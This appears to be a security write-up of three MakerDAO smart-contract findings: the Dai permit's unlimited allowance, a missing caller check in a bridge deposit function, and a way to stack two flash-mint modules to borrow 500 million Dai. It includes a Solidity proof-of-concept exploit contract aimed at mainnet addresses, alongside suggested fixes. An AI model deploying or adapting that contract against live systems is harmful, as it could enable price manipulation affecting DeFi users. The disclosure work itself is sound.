MakerDAO is a decentralized organization dedicated to bringing stability to the cryptocurrency economy. The Maker Protocol employs a two-token system. The first being, Dai, a collateral-backed stablecoin that offers stability. The Maker Foundation and the MakerDAO community believe that a decentralized stablecoin is required to have any business or individual realize the advantages of digital money. Second, there is MKR, a governance token that is used by stakeholders to maintain the system and manage Dai. MKR token holders are the decision-makers of the Maker Protocol, supported by the larger public community and various other external parties.
Maker is unlocking the power of decentralized finance for everyone by creating an inclusive platform for economic empowerment; enabling everyone with equal access to the global financial marketplace.
This write-up contains a collection of MakerDAO smart contract security reports.
The MCD_Dai has typical ERC20 functions and makes differences from the original ERC20 implementation. One of the significant changes is the permit function. The permit function allows the spender to spend the maximum amount of tokens from the holder. This introduces the various risks to the Dai holder in the following ways:
If the Spender Contract/EOA acts with malicious intent, the spender can steal all DAI tokens from the holder.
If the innocent holder has the wish to only approve the x
amount of tokens to the spender, unfortunately, it can be exploited by the malicious spender to drain the n
amount of Dai from the holder.
Code Snippet:
uint wad = allowed ? uint(-1) : 0; //uint(-1) is to Specify the uint256 max value
allowance[holder][spender] = wad;
The spender can drain Dai from the account owner.
The Standard ERC20 Permit uses a uint256 value
to specify a certain amount of value to be spent by the spender. https://eips.ethereum.org/EIPS/eip-2612
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
It is recommended to add this argument to prevent such risks.
depositERC20To()
function.The depositERC20
function has a check to prevent calls from the contract, stop deposits from contracts, and avoid accidentally losing tokens. But upon looking at the depositERC20To()
function, it is missing the check to prevent calls from the contract.
It seems MakerDao devs missing the check. Thus, a contract can be called the depositERC20To
function.
Consider adding this snippet to depositERC20To()
require(!Address.isContract(msg.sender), "L1DAITokenBridge/Sender-not-EOA");
DSS_Flash_Legacy: https://etherscan.io/address/0x1eb4cf3a948e7d72a198fe073ccb8c7a948cd853/
DSS_Flash: https://etherscan.io/address/0x60744434d6339a6b27d73d9eda62b6f66a0a04fa/
I noticed that there are two deployments of the MakerDAO Flash Mint contract. Each contract has a maximum borrow limit of 250 million Dai to be minted by the user. But this can be bypassed by borrowing another 250 million from the latest flash module.
But there is a check called the lock
modifier, which acts as a reentrant. Here, there is a need to bypass this by following factors:
First, call the vatDaiFlashLoan()
from the Flash Module by borrowing 250 Million dai from the Flash borrower contract.
On callback of onVatDaiFlashLoan
the Flashborrower call them flash loan()
from the Flash legacy.
Now FlashBorrower has 500 million DAI to trade.
Failure Mode Suppose the FlashBorrower calls vatDaiFlashLoan()
on both contracts at the same TX, likely causing a revert due to the lock
modifier. I am so bypassing it by calling two different functions.
Proof of Concept:
pragma solidity ^0.8.0;
interface IFlashlegacy {
function flashLoan(
address receiver,
address token,
uint256 amount,
bytes calldata data
) external returns(bool);
}
interface IFlash {
function vatDaiFlashLoan(
address receiver,
uint256 amount,
bytes calldata data
) external returns(bool);
}
interface IDaiJoin {
function join(address usr, uint wad) external;
function exit(address usr, uint wad) external;
}
interface IVat {
function move(address src, address dst, uint wad) external;
function heal(uint wad) external;
function hope(address usr) external;
}
interface IDAI {
function approve(address spender, uint amt) external returns(bool);
function balanceOf(address usr) external returns(uint256);
}
contract exploit {
IFlashlegacy fl = IFlashlegacy(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);
IFlash f = IFlash(0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA);
IDaiJoin dj = IDaiJoin(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
IVat v = IVat(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
IDAI dai = IDAI(0x6B175474E89094C44Da98b954EedeAC495271d0F);
address public receiver = address(this);
address public token = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
bytes public data = "";
function flashborrow() external {
v.hope(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
dai.approve(address(fl), type(uint256).max);
dai.approve(address(dj), type(uint256).max);
//Calling latest Deployment of Flash mint
f.vatDaiFlashLoan(receiver, 250000000000000000000000000000000000000000000000000000, data);
}
function onVatDaiFlashLoan(address caller, uint amt, uint fee, bytes calldata _data) external returns(bytes32) {
//Minting DAI
dj.exit(address(this), 250000000000000000000000000);
//Taking another 250 Million Dai from Flash legacy.
fl.flashLoan(receiver, token, 250000000000000000000000000, data);
dj.join(address(f), 250000000000000000000000000);
return keccak256("VatDaiFlashBorrower.onVatDaiFlashLoan");
}
function onFlashLoan(address caller, address token, uint amt, uint fee, bytes calldata _data) external returns (bytes32) {
//Flashloan action
flashAction();
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function flashAction() public returns(bool) {
//Some Flash Loan action with 500M Dai Tokens.
return true;
}
}
It introduces several risks due to the higher volume of mining and burning of Dai Tokens.
There is a cause for the token-economic imbalance of DAI supply.
It can lead to attacks on Defi and Dex Price Manipulation.
Such a high volume of flash loans ends with significant risks.
I suggest, decreasing the limit for the Flash loan contract. 250 million is also a high volume on both contracts. Set the safest limit of DAI to be minted.